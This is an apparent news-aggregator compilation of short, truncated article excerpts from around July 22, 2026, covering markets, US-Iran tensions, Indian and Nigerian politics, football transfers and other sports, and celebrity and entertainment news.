Every weekday, the CNBC Investing Club with Jim Cramer holds a "Morning Meeting" livestream at 10:20 a.m. ET. Here's a recap of Wednesday's key moments. 1. The S \& P 500 is little changed Wednesday, pressured by a rise in oil prices. West Texas Intermediate crude traded 2% higher, above $86 per barrel, following another round of U.S. strikes against Iran. Club holding Honeywell is up today after rising 1.6% Tuesday on strong earnings from fellow industrial stock 3M . Jim Cramer cautioned against adding Honeywell shares ahead of the company's earnings, before the opening bell on Thursday. "This stock always goes down on earnings," he said. "I don't…

Pakistan has quietly approached the Trump administration for a $10 billion “exchange stabilization facility,” a financial lifeline that would shore up its fragile economy even as it seeks to capitalize on its renewed diplomatic importance in the Middle East. The request, first reported by Reuters, was made directly to US treasury secretary Scott Bessent and envisions a five-year facility designed to strengthen Pakistan's foreign exchange reserves and ease pressure on its rupee. US sources say the proposal is under consideration and no decision has been made. If approved, the arrangement would be unusual because since 2002 the US Treasury…

U.S. President Donald Trump’s trade czar on Wednesday defended the plan to impose new 50 per cent tariffs on Canada, claiming the goal is to “improve our trading relationship,” with work ongoing to develop “options” on renewing the Canada-U.S. Mexico Agreement on free trade (CUSMA). Speaking at a U.S. Senate finance committee hearing, U.S. Trade Representative Jamieson Greer said he’s hopeful those options, which he called “interim arrangements” to address outstanding issues with the trade pact, will be presented to the leaders of all three countries before the end of this year. “I’m hopeful that before the end of the year we can have at least options…

HYDERABAD The Directorate of Monitoring and Appraisal under the Ministry of Jal Shakto (MoJS) has asked the Telangana government (Irrigation Department) to return the Central Assistance of ₹54.22 crore including interest released under Pradhan Mantri Krishi Sinchayee Yojana (PMKSY) for nine ongoing projects. In a letter addressed to the Engineer-in-Chief of Telangana, Director of M\&A noted that the Telangana government had written to it in July 2023 for dropping the proposals submitted for 11 projects in the past and adjust the central assistance release to nine other eligible projects including Devadula Lift Irrigation Scheme, Rjiv Bhima LIS,…

He said things like fuel costs, groceries, rates and insurance premiums “don’t have a lot of wiggle room” for people. “All the things that people just have to pay [for], if they’re going to get by, have risen a lot.” Jurkovich said it was “worrying” people had to take on debt for groceries or petrol. “I think a lot of people are in a situation where that might be not a great option but their only option.” He said the more places that BNPL is available, the more it becomes an option for people to use. “If you get into a position where you’re not able to meet the hooks and hurdles… you can get yourself into trouble and it can be a bit of an invisible…

House supply tipped to increase as WA market slows Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Perth’s galloping property prices are being brought to heel after almost four years of constant gains, with new data revealing modest growth in median house prices for the June quarter. The WA capital extended its run to 15 consecutive quarters of growth to reach a median house price of $1.18 million, according to Domain’s latest House Price Report. However, house prices grew at just 1 per cent for the quarter – the weakest pace in more than a year. Domain’s chief of research and economics, Dr…

Hungary's former Prime Minsiter Viktor Orban accused prosecutors and the new government of sham investigations into his Fidesz party on Wednesday, a day after investigators seized equipment from the party HQ in Budapest as part of a corruption probe. Hungary's longstanding leader, Orban lost April's general elections in a landslide to conservative rival Peter Magyar, himself a former Fidesz member, in a result hailed by much of Europe but not by the Trump White House. Since coming to power, Magyar has moved to dismantle what he alleges to be systemic corruption of the Orban and Fidesz era, making a host of sweeping changes. Orban, however, on…

The Indian Union Muslim League (IUML) Wandoor constituency committee has openly expressed its dissatisfaction with Revenue Minister A.P. Anil Kumar, the MLA representing the Wandoor Assembly constituency. At a constituency-level meeting held recently, IUML leaders from panchayats across Wandoor accused Mr. Anil Kumar of sidelining the party after assuming office as Revenue Minister. They said the IUML and its workers had campaigned tirelessly for his victory when he contested the last Assembly election as the United Democratic Front (UDF) candidate. Wandoor, a Scheduled Caste-reserved constituency, comprises the grama panchayats of Mampad, Wandoor,…

…Says Education Must Produce Solution Providers, Not Just Degree Holders Ogun State Governor, Prince Dapo Abiodun, has challenged Nigerian graduates to deploy the knowledge and skills acquired through their academic pursuits to develop practical solutions to the numerous challenges confronting the country, urging them to combine innovation with integrity as they prepare to shape the nation’s future. The governor gave the charge on Tuesday while delivering the convocation lecture at the Postgraduate Convocation Ceremony of Babcock University, Ilisan-Remo, in Ikenne Local Government Area of Ogun State, where he was also honoured with the university’s…

TEHRAN, July 22. /TASS/. Tehran will not allow anyone in the region to sell oil if Iran it is denied such an opportunity, the speaker of Iran’s unicameral parliament Majlis, Mohammad Bagher Ghalibaf, said. "In a region where we don’t sell oil, no one does. If our security is not guaranteed, no infrastructure in the region is safe. Security in the strait is possible only if no American forces are present there," he wrote on the X social network. Ghalibaf wrote that "the equation of this conflict" is "either all or none." The latest escalation of the US-Iran conflict began on July 8. For the first time since the signing of the memorandum between…

Delhi police stand guard as protesters in large numbers continue their protest at Jantar Mantar in support of the Cockroach Janata Party (CJP), demanding the resignation of Union Education Minister Dharmendra Pradhan over alleged examination irregularities and NEET paper leak, in New Delhi on July 22, 2026. \| Photo Credit: ANI The Supreme Court Bar Association (SCBA), Supreme Court Advocates-on-Record Association (SCAORA) and several Delhi lawyers condemned the police action against students during Monday’s (July 20, 2026) protest called by Cockroach Janta Party (CJP), describing it as an “assault” on constitutional values and calling for…

MANILA, Philippines — Major foreign business groups have outlined a 12-point legislative wish list that they want President Marcos to prioritize in his penultimate State of the Nation Address (Sona), saying further reforms and consistent implementation are needed to improve the country’s investment climate. In a letter dated July 21 and addressed to Mr. […]...Keep on reading: Foreign business groups seek clear, consistent rules

The Senate on Wednesday adopted a report by its Committee on Legislative Compliance detailing the implementation of resolutions arising from motions passed between July 2023 and December 2025. The report, presented during plenary by the committee’s chairman, Garba Maidoki, assessed the impact of Senate resolutions and the level of compliance by ministries, departments and agencies (MDAs), particularly on issues relating to road rehabilitation, disaster management and other matters directly affecting Nigerians. Mr Maidoki, who represents Kebbi South Senatorial District, said the committee tracked the implementation of the resolutions by the relevant…

Some members of the Oyo State chapter of the Nigeria Democratic Congress, NDC, have appealed to the national leadership of the party to, without wasting more time, wade into the crisis rocking the party in the state. The members made the appeal in a petition addressed to the national leadership of the party. The petition was made available to DAILY POST in Ibadan, the Oyo State capital, on Wednesday. The members, in the petition, called on the national leadership of the party to investigate a series of allegations levelled against the state chairman, Mrs Oyeronke Akinlolu. The aggrieved members, in the petition, explained that the actions of the state…

New York City Mayor Zohran Mamdani branded Israeli Prime Minister Benjamin Netanyahu a "war criminal" and urged the federal government to arrest him under an International Criminal Court warrant. (Credit: @NYCMayor via X) NEWYou can now listen to Fox News articles! New York City socialist mayor Zohran Mamdani was widely mocked by conservatives on social media Tuesday after announcing that one of his campaign platforms, arresting Israeli Prime Minister Benjamin Netanyahu, isn’t a tool he has at his disposal. In a video post on X that was viewed over 36 million times, Mamdani called Netanyahu a "war criminal" while conceding that New York City could not…

Terms of settlement have been agreed in a dispute between receivers of a firm involved in a Dublin hotel used to accommodate refugees and its management company, the High Court heard. Last month, Interstate Hotel Management Ireland Ltd, managers of a former Ibis Hotel at the Red Cow Roundabout, now called the X8, sought an injunction restraining the receivers appointed over a separate company involved in its day-to-day operation from interfering with its management. After the receivers agreed not to proceed with moves to take over the running of the premises, pending a hearing, talks took place between the parties. When the case returned before the…

BRUSSELS, July 22. /TASS/. EU ambassadors, who convened in Brussels, have failed to come to terms regarding the compromise draft of the 21st package of anti-Russian sanctions, a European source in Brussels told reporters. "There has been no agreement regarding the compromise draft of the 21st package," he said. Earlier, it was reported that the European commission has proposed to ambassadors a draft version of its sanctions package with softer restrictions on Russian liquefied natural gas (LNG) transportation to third countries by European tankers. The document also does not contain the proposed ban on purchasing Russian fish.

Youth Congress members burning an effigy of Union Education Minister Dharmendra Pradhan during a protest in Bengaluru on Wednesday. \| Photo Credit: special arrangement The Bengaluru police on Wednesday detained several Congress workers after they gathered outside the BJP’s State headquarters in Malleswaram and attempted to stage a protest in violation of restrictions imposed under High Court directions. BJP leaders led by Leader of the Opposition in the Assembly R. Ashok staged a counter-protest in front of the Karnataka Pradesh Congress Committee (KPCC) office on Queen’s Road. The police also detained Mr. Ashok and other BJP workers, stating that…

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The trial of ousted Venezuelan president Nicolás Maduro and his wife, Cilia Flores, is scheduled to begin on 1 June 2027, a New York judge ordered on Wednesday. US forces seized Maduro and Flores from their compound in the Venezuelan capital, Caracas, in a dramatic, night-time raid on 3 January, and brought them to New York to face allegations of weapon and drug offences, which they deny. Judge Alvin Hellerstein scheduled a pre-trial hearing for 17 November to hear motions from both parties. Maduro's attorney Barry Pollack signalled that he will argue at trial that his client was protected by sovereign immunity, a legal principle shielding heads of…

MOSCOW, July 22. /TASS/. Vladimir Zelensky confirmed that he had held a phone conversation with US President Donald Trump’s special envoy Steve Witkoff and son-in-law Jared Kushner. "I’ve just talked to President Trump’s envoys Steve Witkoff and Jared Kushner," he wrote on Telegram describing the call as "a good and important conversation on how to activate diplomacy." "Our teams remain in close contact, particularly in order to continue work on everything that has just been discussed," Zelensky added. A correspondent for the Axios portal and Israel’s Channel 12, Barak Ravid, wrote with reference to "sources familiar" that the sides discussed ideas…

After a decade in power, Antonio Guterres, will end his second term as UN Secretary-General on December 31. There are currently six candidates lining up to replace him. Whoever emerges victorious has a tough task, with the relevance, power and financial capability of the UN under an increasingly harsh spotlight. The UN Secretary-General is "equal parts diplomat and advocate, civil servant and CEO," according to the organization itself. The holder of the position oversees several vital UN organs, including the Security Council, charged with maintaining peace and security. The 80-year-old UN is struggling for relevance — here's why [![ To view this…

CJP supporters protest at Jantar Mantar in New Delhi on July 22, 2026. \| Photo Credit: SHASHI SHEKHAR KASHYAP Thousands of people continued to pour into the Cockroach Janta Party (CJP) protest site at Jantar Mantar in the heart of Delhi on Wednesday (July 22, 2026), while hundreds more protested outside the entrance towards Sansad Marg. CJP chief spokesperson Saurav Das told the media that the police informed them that that Union Minister J.P. Nadda wanted to speak to them. “They invited us to his residence, but we categorically declined. We are not going to anyone’s house or office. A janata darbar [people’s meet] is being held here, and if the…

The All Progressives Congress (APC) has dismissed claims by former Vice President and African Democratic Congress (ADC) presidential candidate, Atiku Abubakar, that the 2026 Service-Wide Vote (SWV) was set aside to fund President Bola Tinubu’s 2027 re-election campaign. In a statement released in Abuja on Wednesday, APC National Publicity Secretary Felix Morka described Atiku’s allegation as a sign of disturbing ignorance of basic public finance principles and calculated mischief. Atiku had accused the Tinubu administration of using the Service-Wide Vote as an illegal slush fund for the 2027 election. Responding, Morka said Atiku failed to provide any…

TEHRAN - A senior Iranian military official said the United States and Israel failed to achieve their objectives through “hybrid warfare” and subversive activities against the Islamic Republic. Brigadier General Mohammad Ahadi, Chief of Defense Diplomacy and International Relations of the Iranian Armed Forces, made the remarks on Tuesday at the Chinese Embassy in Tehran during a reception marking the 99th anniversary of the founding of the Chinese People’s Liberation Army (PLA). “Last year, through a hybrid war of military action and terrorism, they [the US and Israel] sought to impose their will on the Iranian nation by assassinating commanders,…

TEHRAN — Public anger over Washington’s aggressive foreign policy erupted on the streets of Manila on Wednesday, as anti-war demonstrators rallied outside the venue of the Association of Southeast Asian Nations (ASEAN) Foreign Ministers’ Meeting to protest the presence of Secretary of State Marco Rubio and denounce US military operations against Iran. Carrying placards reading “War criminals not welcome” and “Ban Trump! Ban Rubio!”, activists gathered in the Philippine capital to voice sharp opposition to Washington's military actions in the Middle East and its expanding strategic footprint in the Indo-Pacific. Rubio arrived in Manila to participate…

Chelsea are set to announce a new contract for youngster Shim Mheuka at Stamford Bridge before he embarks on a loan for the 2026/27 season, as reported by football.london. The 18-year-old forward has less than a year remaining on his current contract, with an option for an additional year, but sources indicate that the striker is nearing an agreement with the Blues. Once Mheuka finalizes his new terms at Cobham, the highly regarded academy forward is expected to be loaned out for the upcoming season. Numerous clubs from Europe’s top five leagues, along with EFL teams, have expressed strong interest in acquiring Mheuka on loan. Chelsea are anticipated…

Rangers intend to contest a four-match touchline ban given to manager Derek McInnes for describing as "disgusting" the decision to award Celtic a late penalty at Motherwell in May. The comments, made at the end of last season when McInnes was in charge of Hearts, related to a stoppage-time spot-kick for handball that was converted by Kelechi Iheanacho. Celtic's 3-2 victory at Fir Park on 13 May kept them one point behind Hearts, who they beat to the title a few days later in a final-day decider. Responding to the Scottish FA penalty, which is an immediate three-game ban with one suspended until the end of the season, Rangers say the remarks were…

Arsenal have turned their attention to RB Leipzig forward, Yan Diomande and have made inquiries regarding the 19-year-old, as reported by football.london. The club has been actively seeking an upgrade for the left wing, with Diomande being one of the players under consideration. Mikel Arteta’s team is among several clubs keen to stay updated on the situation of the Ivorian international. The Gunners have faced setbacks in their pursuit of new wide players, particularly after losing out on Morgan Rogers to Chelsea for £117 million. Rogers opted for the West London club despite Arsenal’s prolonged interest, as they were unable to meet the asking price,…

Philadelphia Phillies J.T. Realmuto makes a Little Little-esque blunder during a rundown to make the final out. (This video contains AI-assisted content) NEWYou can now listen to Fox News articles! Every once in a while, a big leaguer looks like a little leaguer on the diamond. Unfortunately for the Philadelphia Phillies, star catcher J.T. Realmuto’s Little League-esque blunder ended the game. In the bottom of the ninth inning of the Phillies’ 2-1 loss to the Los Angeles Dodgers on Tuesday at Citizens Bank Park, the Phillies had runners on second and third with one out. CLICK HERE FOR MORE SPORTS COVERAGE ON FOXNEWS.COM Los Angeles Dodgers shortstop…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Chelsea has received a transfer offer from Aston Villa for their winger Alejandro Garnacho, as reported by Fabrizio Romano. Garnacho faced a challenging first season at Stamford Bridge after his £40 million transfer from Manchester United last summer, managing to score only once in the Premier League. The Argentina international was previously regarded as one of the most promising talents at Old Trafford, but his career at United faltered due to conflicts with several managers. Garnacho aimed to rejuvenate his career at Chelsea, the club he supported during his youth, yet he found it difficult to make a significant impact under both Enzo Maresca and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Inter Miami have signed Casemiro as a free agent, but Major League Soccer is investigating the South Florida side for potential tampering in the process of acquiring the Brazilian midfielder. Casemiro has signed what amounts to a one-year contract with Miami, beginning now and ending at the conclusion of the 2027 “sprint season” that precedes the league’s switch to a fall-to-spring calendar in 2027-28. There is an option for an extension that would see the Brazilian stay in Miami through the 2028-29 MLS season. Both the club and league announcement said that Inter Miami had acquired the discovery rights to Casemiro from the Los Angeles Galaxy. The…

Lionel Messi's popularity among British people has plummeted after Argentina's shameful World Cup antics. Messi is now viewed unfavourably among almost half of the participants surveyed by YouGov. It comes after Argentina's baseless behaviour at the tournament, which ended with them losing 1-0 to Spain in the final and starting fights with the opposition. Enzo Fernandez was sent off in normal time and Leandro Paredes was lambasted for attacking Eric Garcia and Gavi after the match. Even Messi was dragged into their pathetic antics in the final, attempting to get Marc Cucurella sent off for briefly putting his hand over his mouth. As per FIFA's rules…

Check out the best moments from the NTT INDYCAR SERIES: Borchetta Bourbon Music City Grand Prix at Nashville Superspeedway with commentary from Will Buxton, Townsend Bell and James Hinchcliffe! The NTT IndyCar grid is going to look a little different in 2027 with news that the first sale of an IndyCar charter has been completed, and it will bring a new team to the grid. Albeit one that fans are very familiar with. On Wednesday, it was announced that Rahal Letterman Lanigan Racing had agreed to sell one of its three charters to Drewy \& Reinbold Racing, with the transaction subject to IndyCar approval. TRUMP TOUTS INDYCAR DRIVERS' 'SPECIAL' ABILITY AT…

Nigeria’s Super Falcons will face Tanzania in a pre-2026 Women’s Africa Cup of Nations friendly on Thursday. The encounter will hold at the Lenoria Sports Complex in Casablanca. It will kick-off at 6pm local time. The friendly will give the Super Falcons the chance to test their readiness for the WAFCON 2026 finals. Justine Madugu’s side were earlier scheduled to take on the Black Queen of Ghana in a friendly last Saturday, but it was called off d due to unforseen circumstances. They will hit Rabat for the competition this weekend. The Super Falcons will face the Scorchers of Malawi in their opening fixture next week Tuesday .

Tiger Woods returned to Florida on Wednesday afternoon after apparently seeking treatment in Switzerland following his DUI arrest in March. At least he didn't confiscate the phone like Rory. Charlie Woods, the son of Tiger Woods, attempted to win the 2026 U.S. Junior Amateur ended on Wednesday during a 14-for-2 playoff at Saucon Valley Country Club. But a camera click on a fan's phone threw off Woods' concentration, causing him to chunk a shot out of the thick rough. Charlie Woods watches his tee shot during the 109th Florida Amateur Championship at The Club at Admiral's Cove on June 11, 2026, in Jupiter, Fla. (GREG LOVETT/PALM BEACH POST / USA TODAY…

He was on the world stage in front of a global audience. He was the last Englishman standing at the World Cup, given we had lost to Argentina a few days before. And what did Robbie Williams, the former Britpop bad boy, manage to do? Almost become a national embarrassment. No, I’m not talking about his performance of a song called Desire, the official Fifa anthem which no one knew the words to, alongside Laura Pausini (me neither) and Nicole Scherzinger. I’m referring instead to the now-viral moment, during a live interview, when a speck of something white and granular appeared to drop out of Robbie’s nostril or perhaps his mouth, and – plop! – land on…

The Hundred women's competition, Utilita Bowl Southern Brave 126-7 (100 balls): Wolvaardt 45* (36); Graham 4-19 Welsh Fire 118-8 (100 balls): Voll 52 (39); Molineux 3-14 Southern Brave won by eight runs Scorecard. Table Southern Brave produced a remarkable fightback to begin their Hundred campaign with a hard-fought eight-run win against Welsh Fire in Southampton. Fire were on course for a comfortable victory after reaching 109-3 in their chase of 128, with opener Georgia Voll in good nick and unbeaten on a half-century. But 18-year-old left-arm spinner Tilly Corteen-Coleman sent back the Australian batter for 52 and sparked a dramatic collapse as the…

Victoria’s decision to pull out of hosting the Commonwealth Games (CWG) in July 2023, citing unsustainable costs, plunged the multi-sport event into uncertainty. There were fears that the 2026 Games might not be held at all. For nearly a year, the search for a replacement host went on. Gold Coast, the 2018 host, along with Singapore and Malaysia, figured prominently before Glasgow officially stepped up to host the event in September 2024, returning after its successful staging of the 2014 Games. Realising the spiralling organising costs, Glasgow tactfully cut the number of disciplines to 10 across four venues, a considerable reduction from Birmingham…

Dan Dakich reacts to Greg Sankey saying the SEC is exploring options outside of the NCAA. TAMPA, FL- While Lane Kiffin was contemplating his move to LSU from Ole Miss, Jon Sumrall was making a different decision on his coaching future beyond Tulane. Sure, while they both were deciding whether to take a different job, the circumstances surrounding the moves were not on the same wavelength in terms of coaching in the SEC. The conversation surrounding the coaching carousel will be discussed for decades, most likely being taught in business ethics classes on college campuses in the future. Greg Sankey addresses SEC breakaway talk as Michigan tries to…

The mystery surrounding Lionel Messi 's viral dressing-room speech before Argentina's 2026 FIFA World Cup final has finally been addressed, with Alexis Mac Allister's father dismissing speculation of an internal crisis and insisting the captain's words were taken completely out of context. Carlos Mac Allister revealed that even he briefly wondered whether something had gone wrong inside the Argentina camp after watching footage of Messi repeatedly telling his teammates to "forget everything" before the final against Spain. The clip quickly spread across social media, fuelling theories that Argentina's squad was dealing with tensions behind the scenes…

BLAINE, MINNESOTA - JULY 27: Kurt Kitayama of the United States poses with the Elemental Swing trophy after putting in to win on the 18th green during the final round of the 3M Open 2025 at TPC Twin Cities on July 27, 2025 in Blaine, Minnesota. (Photo by David Berding/Getty Images) Getty Images The golf world is coming off the final major of the season, the Open Championship at Royal Birkdale Golf Club last weekend. The dramatic finish, which ended in Ryan Fox claiming victory, has left the next few tournaments on the schedule in the wake of such an important tournament. Typically, the top players in the game take the week off after a major, unless it…

Erling Haaland's girlfriend Isabel Haugseng Johansen has shared a series of photos from the footballer's 26th birthday celebrations this week. The Norwegian player, who became a standout star of the World Cup, gathered a group of his friends and spent his birthday on a superyacht off of Sardinia. Isabel, 22, posed proudly beside her man, who was wearing a black vest top and rosary beads, complete with a pair of large shades. Erling wore his signature blonde hair slicked back into a ponytail and smiled for the camera, with an affectionate arm slung around Isabel's waist. WAG Isabel looked lovely in a blue knit sequin mini dress, which she styled with a…

VOIRON, France — Last week, my colleague Jonny Long from Escape Collective (EC) remarked that he speaks to more old people at the Tour de France than he does the whole rest of the year. It's true, and not altogether surprising: France has an aging population, so they have old guys, and cycling's culture is one of reverence for the legends of yore, so the old guys are here. Tour crowds aren't monolithic—I find myself pantomiming French toward all manner of locals and tourists alike—yet they skew white, Western European, and older. But really, "old guys" is too narrow a descriptor. What defines the crowds here at the Tour is more the omnipresence and…

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Harrowing new photos have emerged of the aftermath of Kaylee Hottle's fatal car crash on Tuesday. The deaf actress, 18, was a passenger in a 1995 Honda Accord that veered off the road and slammed into a ditch on Tuesday, with speed playing a factor according to local law enforcement. Hottle's death was confirmed by her father. Two others were in the vehicle at the time, and both survived the accident. The driver, 19, suffered non-life-threatening injuries, while another passenger did not receive treatment at the scene, according to the Frederick County Sheriff’s Office. Kaylee played a young girl who could communicate with King Kong using sign…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Listen to this article Estimated 3 minutes The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. Brad Pitt and Angelina Jolie's daughter Vivienne wants to legally remove "Pitt" from her last name. She's the latest of their six kids to legally file to drop their father's surname. According to documents obtained by CBC News, she filed a petition with the Los Angeles County Superior Court to change her legal name from Vivienne Marcheline Jolie-Pitt to Vivienne Marcheline Jolie. She signed the request on July 12 — her 18th birthday…

A year after his death, The Cosby Show actor Malcolm-Jamal Warner’s widow, Tenisha Warner, is suing his mother, Pamela Warner, for US$1.2 million over alleged breach of contract involving the couple’s prenuptial agreement. Tenisha filed the lawsuit in DeKalb County Superior Court in Georgia, naming his mother as one of the defendants, who is the successor trustee of the Warner Family Trust. In the lawsuit, obtained by NBC News, ABC News and People, Tenisha alleges that she and Warner married on May 23, 2022, and signed a premarital agreement eight days prior. 1:06 ‘The Cosby Show’ star Malcolm-Jamal Warner dies after tragic drowning Global News has…

The arrival of Doctor Doom in Avengers: Doomsday is only months away, but fans are already asking questions about Avengers: Secret Wars. The next Avengers film after Doomsday is set to pave the way for massive changes to the Marvel Cinematic Universe, but don't call it a reboot. Following comments about the comic inspirations for Secret Wars, Marvel boss Kevin Feige is giving a little more insight into just exactly what the MCU will look like after the sixth Avengers film is released in 2027. Feige recently denied that the MCU will undergo a reboot during an interview with Happy Sad Confused's Joshua Horowitz. He notes that, as always, Marvel is…

Charles Gaines, the author whose book and documentary Pumping Iron helped bring professional bodybuilding into the mainstream and introduce Arnold Schwarzenegger to the world, has died. He was 84. Gaines died Tuesday, according to Greta Gaines, the author’s daughter. She did not reveal a cause. “You always marched to your own drummer and inspired everyone around you to do the same,” she wrote in a tribute to her father. “Follow that bliss, catch that fish and kiss those lips while you can because my father was the live life to the fullest kinda guy.” Gaines collaborated with George Butler to write Pumping Iron: The Art and Sport of Bodybuilding, which…

TEHRAN – Four films from Iran will compete in the 30th Flickers' Rhode Island International Film Festival (RIIFF), which will be held in Rhode Island, the US, from August 4 to 9. The Iranian films participating in the festival include “My Daughter's Hair” directed by Hesam Farahmand, “White Flag” by Parviz Rostami, “Hide \& Seek” by Fatah Minoobakhsh, and “The 80 Blows” by Alireza Abbasi, Honaronline reported. “My Daughter's Hair” is a 2025 narrative drama about Raha, a teenage girl who is studying animation, but when she is about to submit her university project, her laptop is stolen, and she is forced to cut her hair and sell it to buy a new laptop.…

DC Studios' upcoming Clayface movie just got a new trailer, and it’s not for the faint of heart. The movie, based on the shapeshifting Batman villain, is described as a “horror thriller,” with mutilation, grotesque transformations, and other unsettling sights in store. That includes the man known as Clayface taking a pair of grooming scissors to his own eyes while in an airplane bathroom rocked by turbulence. Clayface centers on Matt Hagen (Tom Rhys Harries), a Gothamite who becomes a Hollywood leading man until a local crime syndicate disfigures his face. Abandoned by the criminal justice system and his closest colleagues, Hagen looks for extreme…

Listen to this article Estimated 1 minute The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. American YouTube star Jimmy Donaldson, known online as MrBeast, has married content creator Thea Booysen. The two announced their marriage on social media on Tuesday. They were engaged in December 2024. Donaldson, 28, is YouTube’s most-followed creator, with over 500 million subscribers on his main channel alone. His six alternate accounts, including MrBeast Gaming and Beast Reacts, have nearly 200 million subscribers between them.…

A French professional model recruiter who for over a decade arranged for the late sex offender Jeffrey Epstein to meet multiple models, was found dead in his home near Paris on Monday. Daniel Siad’s body was found in his house in Colombes, a suburb of the French capital, Marie-Céline Lawrysz, deputy public prosecutor at the Nanterre Judicial Court, told CNN in a Wednesday statement. An autopsy will be performed on the body to determine the cause of death. CNN’S Katie Polglase recently interviewed Siad, who said he had no reason to believe two women he had recommended to Epstein – and who had told CNN that Epstein had abused them – had been harmed by…

In news that assures us that we are truly living in one of the worst timelines, Elon Musk has announced on X, the social media platform he owns, that Grok Imagine, the AI generator he owns, will make a "historically accurate" adaptation of Homer's The Odyssey. You might well ask why if you have had the good fortune to be oblivious to Musk's repeated complaints about Christopher Nolan's The Odyssey. Well, in February of 2026, Musk used X to declare "Chris Nolan has lost his integrity," because Musk didn't like the casting of Lupita Nyong’o as Helen of Troy. Then, in May, Musk retweeted X posts that criticized the casting of Elliot Page, including posts…

After Superman and Supergirl, the DC Universe is going in a much different direction with Clayface. The body horror movie is coming to theaters this October, and is shifting the newly launched superhero universe away from the heroics and into a truly disgusting villain origin story. The first teaser we got earlier this year was pretty gross, but the latest trailer starts getting even more details, with some scenes that already make my skin crawl. Clayface stars The Gentlemen actor Tom Rhys Harries as its titular villain, who is disfigured by local criminals just as his acting career has hit its prime. In an effort to reclaim his Hollywood good looks,…

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House of the Dragon is getting so good, I'm flirting with calling it a more satisfying watch than Game of Thrones. After two seasons of thrilling political maneuvering, betrayals, and the occasional dragonfire massacre, the story has really clicked into place, and I've found myself deeply invested in the travails of the battling Targaryen dynasties, even though I technically know how everything turns out. (It is a prequel, after all.) If each new episode leaves you craving more sharp writing and spectacular dragon battles, you’ve got a lot of other series to keep you fed going forward. But if you want a more cinematic experience that offers similar…

WNBA star Sophie Cunningham shares her powerful message about standing up for girls' sports amidst criticism. She reiterates her commitment to truth and protecting young girls in locker rooms and sports from competing against biological men, despite receiving negative feedback about her stance on transgender athletes. This comes after she retweeted a CBS Sports host years ago. WNBA star Sophie Cunningham sent shockwaves in the ongoing culture war over the WNBA and trans athletes in women's sports on Tuesday after revealing her stance on the issue to ESPN. Cunningham's recent statements sparked debate on social media after she revealed she is in…

A murder most foul has occurred in the pages of Marvel's X-Men. After weeks of teasing a death in the X-Men: The Hellfire Murder one-shot, we finally know who met their untimely demise. Before Wolverine solved the case, however, The Hellfire Murder treated readers to extreme levels of horniness. The Hellfire Gala was a tradition that began during Jonathan Hickman's Krakoan age for the X-Men. It served the dual purpose of letting artists design beautiful outfits for Marvel's mutants and marking major turning points in the overarching X-Men story. The first Hellfire Gala saw the mutants announcing they had terraformed Mars and a later instance…

Style icon Katie Holmes proved she can rock just about any trend as she enjoyed a date night with her younger new beau. The Dawson's Creek alum, 47, was working a youthful style that looked as though it came from the closet of a twenty-something (or even a college student like her daughter Suri Cruise) as she stepped out with her new beau Jason Bard Yarmosky. From the Y2K-inspired pink tank top to the leather pants, Holmes was a vision of the latest trends. Smile on her face, Holmes held hands with Yarmosky as they enjoyed a night out at the SoHo Sessions concert series in New York City on Tuesday. Born in 1987, Yarmosky is 10 years younger than…

Jennifer Garner says paparazzi knocked over children for photos of her and Ben Affleck Jennifer Garner has said that paparazzi went to extreme lengths to try and take photographs of her and Ben Affleck, including knocking over children. Speaking to Evan Ross Katz on the Shut Up Evan podcast, the 13 Going on 30 star said she recognised the privilege her children have grown up in, but the methods photographers would use to try and take pictures of them were "a danger to everyone around us." "If I went through a yellow light, 15 cars would go through the red behind me... Kids were getting knocked over coming out of preschool by photographers who were so…

Fox News Flash top entertainment and celebrity headlines are here. NEWYou can now listen to Fox News articles! Jason Alexander is taking accountability for his past mistakes. The 66-year-old actor recently apologized to Courtney Stodden for participating in a 2012 Funny or Die sketch in which he held a cellphone up to her chest and made comments about her body when she was a minor. "Looking back at the comedy sketch in which Ms. Stodden and I participated in 2012, I completely agree that it was inappropriate and I truly regret it," he told Fox News Digital in a statement. "But more importantly, I am deeply sorry for any harm or distress it has caused…

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Rich Rodriguez discusses the ascent of Pat McAfee with Dan Dakich. Pat McAfee announced significant details Wednesday about his upcoming album. McAfee has become arguably the biggest power player on ESPN and in sports media on YouTube due to his absurd success with "The Pat McAfee Show." The former Indianapolis Colts punter has had the smoothest pivot from professional athletics to media that we've ever seen. EXCLUSIVE: COLIN COWHERD OPENS UP ABOUT SELLING THE VOLUME, SCALING BACK THREE-HOUR SHOW, AND RETIREMENT Now, he's entering the music industry. NFL Commissioner Roger Goodell talks with Pat McAfee on stage during Round Two of the 2026 NFL Draft…

This article was originally published in Rest of World, which covers technology’s impact outside the West. At the end of every year, Spotify Wrapped takes over social media feeds, with users showing off the annual recap of their top music choices. Lately, these reviews have taken on a more international flavor – packed with K-pop and Latino rhythms that mirror the platform’s explosive overseas expansion and increasingly diverse artist catalog. Launched in 2008, Spotify today has about 761 million users, including 293 million subscribers, in 184 markets. Brazilian funk, K-pop, Afrobeats, and Urban Latino are among its fastest-growing genres, and last…

